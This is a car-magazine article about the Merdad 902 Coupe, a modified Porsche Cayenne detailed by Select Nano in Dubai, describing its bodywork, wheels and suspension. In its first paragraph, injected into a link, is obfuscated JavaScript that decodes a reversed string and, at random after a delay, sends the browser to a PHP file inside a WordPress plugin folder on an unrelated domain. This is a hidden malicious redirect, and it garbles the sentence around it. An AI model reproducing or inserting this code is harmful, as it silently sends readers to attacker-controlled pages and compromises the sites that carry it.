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You may remember, not too long ago, we paid a flying visit to the ‘Doctors of Detailing’ at $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/select-nano-dubai-uae-all-in-the-details/3/” target=”_blank”>Select Nano in Dubai, UAE. While we were there, we took a close look at a BMW M5, a Range Rover Sport, a Rolls-Royce Ghost, and a 1971 Mercedes 280 SEL all waiting their turn for treatment.
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What we didn’t let slip at the time though was that Select Nano had recently done the business on a Merdad 902 Coupe, one of only three examples ever produced worldwide and the only one in the Middle East. Naturally, we were rather keen to have a look.
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As you’ve probably already gathered, underneath the Merdad trimmings lies a second generation Porsche Cayenne, a vehicle that has habitually split any room in twain since Mk. I one first appeared on the scene in 2002. Appropriately then, the Cayenne’s aesthetics are the first item under the microscope.
The uber-evil black paint aside, perhaps the most visually striking modification are the enormous new front air intakes, plus the new (lower and more aggressively designed) front bumper. Couple that with the heightened bonnet grooves and we have a look you could easily call ‘menacing’.
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Move around to the side, and as well as clocking the enormous red brake calipers and that the 902 is lower than a standard Cayenne, you may also notice the bespoke 22” alloys and tightened suspension settings. Not enough? How about ‘Merdad’ branding lined up next to the wheel arches?
